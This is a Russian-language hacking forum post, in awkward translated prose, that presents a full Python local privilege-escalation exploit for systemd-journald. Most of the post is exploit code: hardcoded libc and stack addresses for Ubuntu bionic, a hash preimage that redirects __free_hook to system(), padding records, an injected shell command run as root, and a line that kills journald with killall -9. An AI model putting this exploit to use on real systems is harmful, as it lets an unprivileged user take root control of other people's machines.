Перейти к содержимому


rek
Фотография

Linux SystemD - privilege escalation или выполняем код через root

эксплойт уязвимость хакер хакерское по взлом взломщик программы

В этой теме нет ответов

#1 xenotropic

xenotropic
  • Эксперт.
  • Пользователи
  • PipPipPipPipPip
  • 307 сообщений

Отправлено 20 Июнь 2019 - 03:09

Всем привет, сегодня в статье будет опять много кода. Все это связанно с новой уязвимостью в SystemD. Практически все Unix-подобные операционные системы уязвимы перед ней. Конечно, в большей степени эта информация подойдет для системных администраторов, которые управляют своими серверами. Но если такой аудитории не найдет (Это вряд-ли), то для расширения кругозора эта небольшая информация будет полезна и для менее продвинутого пользователя.

Итак, погнали!

Проблема out of bounds чтения из памяти и является проблемой, а это значит, что внешние области памяти смогут читать данные.

Начнем с первой части кода, ею будет являться стандартная настройка, дополнительные функции и удобная обертка вокруг сокетов UNIX.

 

Питон:

#!/usr/bin/env python3

import array

import os

import socket

import struct

 

TEMPFILE = '/tmp/systemdown_temp'

 

def p64(n):

    return struct.pack('<Q', n)

 

class UNIXSocket(object):

    def __init__(self, path):

        self.path = path

 

    def __enter__(self):

        self.client = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM, 0)

        self.client.connect(self.path)

        return self.client

 

    def __exit__(self, exc_t, exc_v, traceback):

        self.client.close()

 

Дальше у нас есть несколько постоянных, которые будут меняться в зависимости от определенный целевой среды. Эти постоянные были созданы для выпуска 20180808.о.о в Ubuntu/bionic64 предполагая отключение технологии ASLR

 

Питон:

libc = 0x7ffff79e4000

stack = 0x7fffffffde60

 

free_hook = libc + 0x3ed8e8

 

system_preimage = b"Y=J~-Y',Wj(A"

 

padding_kvs = 3

Отлично, мы имеем большое количество ценностей, который нужны для экспериментального использования. Сначала в логику эксплойта нужно добавить несколько записей заполнения, для увеличения размера alloca, смещая сетки journal_file_append_data ниже. Это нужно для того, чтобы выравнивать точное местонахождения, где будут записываться данные в libc .BSS, и избежать лишнего забивания различных других ценностей libc, которые могут усложнить ее использование.

 

Питон:

with open(TEMPFILE, 'wb') as log:

    msg = b""

    for _ in range(padding_kvs):

        msg += b"P=\n"

 

Дальше мы добавляем значение прообраза, хэш для которого будет адресом system. В том числе, это выравнивание значения будет таким, что Journald запишет систему в libc__free_hook, дав нам при этом оболочку, когда команда ниже будет освобождена

 

Питон:

msg += system_preimage + b"\n"

 

Затем мы добавляем нашу команду в виде двоичного блока данных, окруженного точками с запятой, чтобы сделать sh счастливым. Мы также гарантируем, что journald насильственно убит здесь, так что libc не имеет шансов заблокировать после возврата вызова system:

 

Питон:

    cmd = b"echo $(whoami) > /tmp/pwn"

    cmd = b";" + cmd + b";killall -9 /lib/systemd/systemd-journald;"

    msg += b"C\n"

    msg += p64(len(cmd))

    msg += cmd + b"\n"

 

Затем мы отправляем большую запись (>=128MB), что приводит к ошибке и заставляет journald выйти из цикла обработки записей (src). Как только это условие ошибки поражено, и цикл остановлен, больше не записываются значения, и поэтому этот шаг важен, чтобы прекратить повреждение памяти, предотвращая запись значений в несопоставленную / неписаную память между libc и стеком.

 

Питон:

msg += b"A=" + b"B"*(128*1024*1024) + b"\n"

 

Наконец, мы заполняем наше сообщение достаточным количеством записей, чтобы вызвать падение stack - >libc:

 

Питон

    num_msgs = (((stack - free_hook)//16) - 1)

    num_msgs -= 3  # the three above

    num_msgs -= 7  # added by journald itself

 

    msg += b"B=\n" * num_msgs

 

    log.write(msg)

На данный момент нам просто нужно передать журнал FD в journald, чтобы получить нашу оболочку:

 

Питон:

with UNIXSocket("/run/systemd/journal/socket") as sock:

    with open(TEMPFILE, 'rb') as log:

        sock.sendmsg([b""], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, array.array("i", [log.fileno()]))])

 

os.unlink(TEMPFILE)

После запуска этого мы обнаруживаем, что файл/tmp / pwn был создан с содержимым “root”, что означает, что мы успешно достигли нашей эскалации привилегий.

 

 



rek




Темы с аналогичным тегами эксплойт, уязвимость, хакер, хакерское по, взлом, взломщик, программы


reklama reklama

Рейтинг@Mail.ru Analysis informer pr cy
Рейтинг@Mail.ru
Добавить Vkontakte Добавить в Facebook Добавить в Twitter Добавить в LiveJournal